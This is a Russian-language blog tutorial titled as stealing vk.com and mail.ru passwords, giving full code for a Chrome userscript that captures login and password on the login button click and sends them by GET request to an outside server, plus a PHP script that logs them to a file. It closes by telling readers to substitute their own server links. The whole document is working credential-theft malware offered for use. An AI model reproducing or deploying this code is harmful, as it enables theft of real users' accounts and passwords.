JavaScript Google Chrome plugin, воруем пароли vk.com, mail.ru

20 Фев
2012

image


Приветствую!
Сегодня будем писать плагин для Google Chrome на JavaScript.


Как будет работать так:
пользователь заходит на сайт vk.com или mail.ru, как данные будут введены, пользователь жмет кнопку «Войти» и его данные будут отправлены на наш сайт(в файл).

Код плагина:
// ==UserScript==
// @name          xhugo
// @description   xhugo plugin.
// @include       http://vk.com/
// @include       http://www.vk.com/
// @include       http://mail.ru/
// @include       http://www.mail.ru/

// ==/UserScript==
function loadXMLDoc(url){
		if (window.XMLHttpRequest) {
					http = new XMLHttpRequest();
					http.onreadystatechange = processReqChange;
					http.open("GET", url, true);
					http.send(null);
		}else if (window.ActiveXObject) {
					http = new ActiveXObject("Microsoft.XMLHTTP");
					if (http) {
							http.onreadystatechange = processReqChange;
							http.open("GET", url, true);
							http.send();
					}
			}
}
function processReqChange(){
		httptt = window.setTimeout("http.abort();", 5000);
		if (http.readyState == 4) {
					clearTimeout(httptt);
		}
}

function htmlpars(where,is){
    if(new RegExp(is,"ig").exec(where)){
      return true;
    } else return false;
}

if(htmlpars(location.href,'vk.com')==true){
   var vk_email = document.getElementById('quick_email');
   var vk_pass = document.getElementById('quick_pass');
   var vk_button = document.getElementById('quick_login_button');

   vk_button.addEventListener("click",function() {
      loadXMLDoc('http://site/post.php?login='+vk_email.value+'&pass='+vk_pass.value);
   }); 
}

if(htmlpars(location.href,'mail.ru')==true){
   var mail_email = document.getElementById('mailbox__login');
   var mail_pass = document.getElementById('mailbox__password');
   var mail_button = document.getElementById('mailbox__submit__button');

   mail_button.onclick=function(){                            
      loadXMLDoc('http://xhugo.500mb.net/test/post.php?login='+mail_email.value+'&pass='+mail_pass.value);
   };
}


Рассмотрим код по порядку.

Функция «loadXMLDoc(url)» для отправки GET запрос на файл для записи, который рассмотрим позже.

Функция
function htmlpars(where,is){
    if(new RegExp(is,"ig").exec(where)){
      return true;
    } else return false;
}

Для парсинга урл, проверка на совпадения.

И основа кода:
if(htmlpars(location.href,'vk.com')==true){
   var vk_email = document.getElementById('quick_email');  // получаем данные
   var vk_pass = document.getElementById('quick_pass');
   var vk_button = document.getElementById('quick_login_button');

   vk_button.addEventListener("click",function() { // отслеживаем клик по кнопки
      loadXMLDoc('http://site/get.php?login='+vk_email.value+'&pass='+vk_pass.value); // отправляем данные
   }); 
}

if(htmlpars(location.href,'mail.ru')==true){  // так же для mail.ru
   var mail_email = document.getElementById('mailbox__login');
   var mail_pass = document.getElementById('mailbox__password');
   var mail_button = document.getElementById('mailbox__submit__button');

   mail_button.onclick=function(){                            
      loadXMLDoc('http://site/get.php?login='+mail_email.value+'&pass='+mail_pass.value);
   };
}


Осталось только принимать данные.
Файл get.php:
<?
$data = "$_GET[login] : $_GET[pass] \n";
$filename = "file.txt";

if ( is_writeable($filename) ) {
   $fh = fopen($filename, "a+");
   $success - fwrite($fh, $data);
   fclose($fh);
}
?>


Осталось только переименовать плагин в %NAME%.user.js, создать файл file.txt с правами 777 и изменить ссылки в плагине на ваши.

Удачи!
По материалам Хабрахабр.



загрузка...

Комментарии:

Наверх